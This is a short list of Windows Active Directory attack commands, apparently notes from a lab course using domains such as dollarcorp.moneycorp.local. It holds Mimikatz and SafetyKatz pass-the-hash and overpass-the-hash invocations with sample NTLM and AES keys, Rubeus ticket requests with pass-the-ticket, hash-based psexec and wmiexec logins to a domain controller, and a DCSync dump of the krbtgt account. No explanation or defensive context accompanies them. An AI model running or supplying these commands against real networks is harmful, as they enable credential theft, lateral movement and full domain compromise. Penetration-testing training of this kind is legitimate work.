Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'

SafetyKatz.exe "sekurlsa::pth /user:srvadmin /domain:dollarcorp.moneycorp.local /aes256:145019659e1da3fb150ed94d510eb770276cfbd0cbd834a4ac331f2effe1dbb4 or /ntlm: /run:cmd.exe" "exit"

C:\AD\Tools\SafetyKatz.exe "sekurlsa::opassth /user:jumpone /domain:us.techcorp.local /ntlm:1e6c544dac9514d85d55f620dcdd35a3 /run:cmd.exe" "exit"

psexec_windows.exe -hashes ":449e9900eb0d6ccee8dd9ef66965797e" [email protected]

Rubeus.exe asktgt /user:administrator /rc4:<ntlmhash> /ptt

Rubeus.exe asktgt /user:administrator /aes256:<aes256keys> /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt

wmiexec.exe DOLLARCORP.MONEYCORP.LOCAL/svcadmin@DCORP-DC -hashes b38ff50264b74508085d82c69794a4d8:b38ff50264b74508085d82c6

SafetyKatz.exe "sekurlsa::pth /user:administrator /domain:us.techcorp.local /aes256:<aes256keys> /run:cmd.exe" "exit"

SafetyKatz.exe "lsadump::dcsync /user:dcorp\krbtgt" "exit"